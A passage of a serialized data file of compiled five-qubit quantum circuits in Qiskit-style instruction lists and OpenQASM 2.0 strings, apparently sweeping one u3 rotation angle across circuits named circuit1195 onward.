['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1195', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.400000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.5', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1197', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.500000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.6000000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.6', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1199', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.600000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.7000000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.7', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1201', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.700000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.8, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.8', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 